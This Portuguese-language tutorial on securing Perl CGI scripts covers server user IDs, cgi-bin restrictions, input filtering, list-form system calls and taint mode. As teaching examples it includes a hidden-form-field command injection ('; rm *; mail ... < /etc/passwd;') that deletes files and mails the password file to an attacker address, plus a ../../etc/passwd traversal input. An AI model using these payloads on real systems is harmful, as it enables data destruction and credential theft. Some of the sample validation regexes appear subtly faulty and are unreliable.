[ CGI ]
Começar por onde ?
O primeiro ponto para definir uma política de segurança
para os CGIs é considerar o dono dos processos que são executados
no servidor web. Muitos problemas de CGI estão relacionados com
user id (UID) e group id (GID) dos processos do servidor web. Os processos
do nosso servidor web nunca devem rodar como root. Rodar o servidor web
com a combinação nobody, nogroup é razoável
pois dá o mínimo de privilégio os programas CGI. Uma
alternativa interessante é rodar os processos do servidor web com
um UID e GID específico, por exemplo "www". Isso garante que o servidor
web não vai entrar em conflito com outros serviços que rodam
como nobody. Para configurar o UID e GID no Apache e no NSCA, veja o arquivo
httpd.conf.
Muitos servidores web oferencem várias opções para setar a estrutura do seu diretório de CGI. Você pode definir que os programas com extenção .cgi ou .pl, podem ficar localizados em qualquer lugar abaixo do root do servidor web. Esta é uma configuração ameaçadora, pois torna a monitoração e manutenção dos scripts muito difícil. É recomendável com precaução extra que os scripts só rodem embaixo do "Server root" - você pode ler mais a respeito do chroot na documentação do NCSA.
Em muitos servidores web os CGIs são escritos por diferentes pessoas com vários níveis de experiência. Para programadores UNIX experientes é relativamente fácil encontra furos em CGI através do protocolo HTTP. Para facilitar a administração e diminuir os riscos potenciais de segurança, você deve definir somente um diretório de CGI executáveis (em muitos servidores UNIX ele é chamado de cgi-bin) e permitir acesso de gravação somente para os programadores com conciência e com competência. Mesmo com tais restrições de acesso, você deve ficar atento para identificar vulnerabilidades nos CGIs. A criação de uma área não publica para testes de CGI é uma idéia interesante para minimizar os riscos de segurança.
Existem várias configurações para a execução de CGI. Por exemplo, talvez seja uma boa idéai desabilitar SSI em servidores NCSA e Apache. Você não deve permitir que qualquer usuário tenha acesso ao conteúdo do seu diretório de CGI atravez da opção Index; desative esta opção no arquivo access.conf.
Scripts seguro
Se o seu servidor web roda com o usuário "nobody", você
está seguro quanto aos ataques externos, certo ? Errado ! Dependendo
do perfil da segurança do seu servidor web, existem muitas outras
maneiras de explorar as vulnerabilidades do seu CGI. O que exatamente
um atacante pode fazer no seu servidor web que roda como "nobody"ou com
um UID/GID específico ?
Cuidado com campos hidden
Imagine que um usuário chamado Sr. esperto tenha o seguinte
formuário na web :
<HTML>
<BODY>
<H1> Formulário de resposta para Sr. esperto
</H1>
<FORM ACTION="http://www.algum.lugar.com.br/cgi-bin/resposta.pl"
METHOD="get">
<INPUT TYPE="hidden" NAME="meu_endereco"
VALUE="esperto@algum.lugar.com.br">
<INPUT TYPE="text"
NAME="comentario">
<INPUT TYPE="submit" VALUE="Enviar
comentário">
</FORM>
</BODY>
</HTML>
Este é um formulário simples onde o usuário entra com uma mensagem para ser enviada para um script chamado resposta.pl. Dentro do script resposta.pl vamos encontrar a seguinte linha (suponha que as váriaveis já tenham sido passadas):
system("/usr/lib/sendmail -t $meu_endereco < $arq_temp")
com a resposta do formulário sendo gravada em um arquivo temporário para ser enviada via e-mail para o Sr. esperto. Alguns dias após o administrador do sistema ter instalado este script no diretório cgi-bin, ele percebe que um hacker invadiu o sistema e comprometeu arquivos importantes. Mas, como ? Imagine que o hacker tenha salvo o formulário localmente e setado o mesmo com o seguinte valores :
<HTML>
<BODY>
<H1> Invadindo algum.lugar.com.br ! </H1>
<FORM ACTION="http://www.algum.lugar.com.br/cgi-bin/resposta.pl"
METHOD="get">
<INPUT TYPE="hidden" NAME="meu_endereco"
VALUE="; rm *; mail -s hacker@no.mundo.com.br < /etc/passwd;">
<INPUT TYPE="text"
NAME="comentario">
<INPUT TYPE="submit" VALUE="Enviar
para hacker">
</FORM>
</BODY>
</HTML>
Os pontos-e-virgula no campo hidden são um delimitador para separar
comandos UNIX, possibilitando a execução semelhante a uma
linha de comando shell. A chamada de sistema em Perl gera um shell UNIX,
e neste caso, executa os comandos do campo value, removendo os arquivos
do diretório corente e enviando um e-mail com o arquivo de senhas
para o hacker.
A primeira lição, você não deve confiar
na informações passadas via script CGI. A segunda lição,
evite usar chamadas de sistemas promiscuas em Perl, ou em qualquer outra
linguagem.
Outras regras para chamadas de sistema
Qualquer chamada de sistema é muito perigosa se não for
codificada corretamente. Considere a seguinte linha de código em
Perl (lembre-se da utilização de aspas invertidas da Perl
juntamente com a convenção shell):
print `/usr/local/bin/finger $entrada_usuario`;
Isto pode ser uma vantagem para um usuário malicioso. Em geral, não permita os seguintes meta-caracteres na entrada de usuários :
; > < & * ` | $ #
Veja um código simples para checar estes caracteres:
if ($entrada_usuario =~ /[;<>*`|&$#]/)
# coloque qualquer sequencia de caracteres que você quer filtrar
{
print "<H1> Erro de CGI : O que você
está fazendo ! </H1>"; # envie uma mensagem de erro
}
else
{
print `/usr/local/bin/finger $entrada_usuario`
# processe normalmente
}
Para um formulário que recebe um endereço de e-mail, você pode designir um formato de estilo do domínio (neste exemplo não levamos em consideração o formato de endereco do uucp):
unless ( $entrada_usuario =~ /^[\@\.\-]+$/)
# se não encontra este formato de e-mail
{
print "<H1> Erro de CGI : Entre com
um e-mail válido </H1>"; # envie uma mensagem de
erro
}
else
{
print `/usr/local/bin/finger $entrada_usuario`
# processe normalmente
}
Com Perl, você pode executar uma chamada de sistemas usando aspas invertidas, ou com o comando eval. Considere a seguinte alternativa para uma chamada de sistema. Para uma aplicação de e-mail use :
open (MAIL, "| /usr/lib/sendmail -t -n");
print MAIL << FIM
From: $remetente
To: $destinatario
Subject: $assunto
$mensagem
FIM
Este exemplo abre um processo no sendmail usando um filtro, desta forma você evita os perigos de uma chamada ao sistema. Os comandos system e exec são duas opções que permitem realizar chamadas diretas ao sistema. Listando seus argumentos como mostrado abaixo você neutraliza qualquer vulnerabilidade no shell do UNIX:
system "/usr/bin/finger",$entrada
exec "/bin/ping",$argumento_ping,$host_ping
Agora mais um exemplo com filtro de processo que previne vulnerabilidades do shell. O formato geral é:
open(apelido_arq, '|-') || exec \ "programa", $arg1, $arg2;
Para usar o código mistico |-, você pode dar um fork na copia do Perl e filtrar esta copia, vamos ver um exemplo com o comando exec:
open(FIND,"|-") || exec "/usr/bin/find", "/","-name",$nome,"-print";
while (<FIND>)
{
print "Encontrado: $_";
}
close FIND;
Este programa procura no sistema por uma variável chamada $nome
e mostra todas as ocorrências encontradas. Este formato realmete
protege contra as chamadas de sistema indevidas.
Abertura de arquivos
Imagine que você está escrevendo um programa que grava
uma mensagem em um arquivo informado pelo usuário. Você coloca
a seguinte linha no seu código:
open(ARQ,">/usr/local/mensagen/dados/$arq");
O que acontece se o usuário digitar ../../../../etc/passwd como
nome do arquivo? Você pode ter um problema muito sério. Sempre
verifique .. quando abrir qualquer tipo de arquivo.
A poderosa ferramente : Taint Checks
A Perl tem uma opção prática para verificar variáveis
contaminadas. Considere que muitas das vulnerabilidades dos CGI são
o conteúdo das variáveis passadas pelos usuários.
Imagine que todas as variáveis passadas para seu CGI estão
contaminadas e esta contaminação podem atacar outras partes
do sistema. Perl taint check previne contra qualquer variável contaminada
que possa ser usada com system, eval, exec, aspas invertidas ou qualquer
tipo de ação que possa afetar as variáveis. A Perl
para o programa se identificar uma contaminação.
Para chamar o taint chech com a Perl 4, a primeira linha do seu programa tem que ser :
#!/usr/local/bin/taintperl
Com a Perl 5, você pode invocar o modo de segurança com a opção -T :
#!/usr/local/bin/perl -T
Uma váriavel não precisa ser checada pelo modo de segurança, somente por que você verificou a existência de caracteres não permitidos na variável. Somente após a extração dos caracteres não permitido você pode usar as variáveis :
$mail =~ /([\w-.]+\@[\w-.]+)/;
$mail_nao_verificado = $1;
Você deve incluir mais uma informação quando for executar taint check. A Perl não possui todas as variáveis de caminho (path), você deve definir isso. Tenha certeza que você incluiu a linha abaixo no seu programa ou você vai ter um erro de caminho inseguro:
$ENV{'PATH'} = '/usr/bin:/usr/local/bin:/bin';
Um das coisas favoritas dos hackes é modificar suas variáveis para apontar para trojan horse em outro diretório. Você sempre deve usar o caminho completo do comando para fazer chamadas de sistema :
system("finger $arq"); # esta não é uma opção boa.
system("/usr/local/bin/finger $arq"); # esta é melhor
O perigo do auto-backup
Tenha cuidado ao editar seu programa CGI no diretório cgi-bin.
Alguns editores , como o emacs, cria um backup do arquivo com uma extenção
~ se você editar o original. Se um intruso descobrir programas com
a extenção .pl~, ele podera ver o fonte do programa, tenha
certeza de que o servidor não reconhece a extençãp
.pl~. Se ele conseguir ver o o backup do programa no formato de texto,
ele pode invadir seu programa rastreando vulnerabilidades. Veja se não
existe nenhum tipo de extenção desconhecida ou estranha no
seu diretório cgi-bin.
Conclusão
Não deixe muitas informações sobre o seu servidor
nos seus programas e no ditetório cgi-bin. Por exemplo, o comando
finger é conveniente, mas ele pode divulgar coisas importantes.
Não deixe nenhuma informação importante no diretório
cgi-bin. Não permita que seu CGI rode com outro usuário que
não seja o usuário do servidor web. Você deve periodicamente
checar o conteudo do diretório cgi-bin, se usuários priveligiádos
estão editando seus programas constantemente. Uma simples verificação
em seus códigos podem salva-lo de algumas coisas.
Autor : verdade@absoluta.org
Referência :
<= |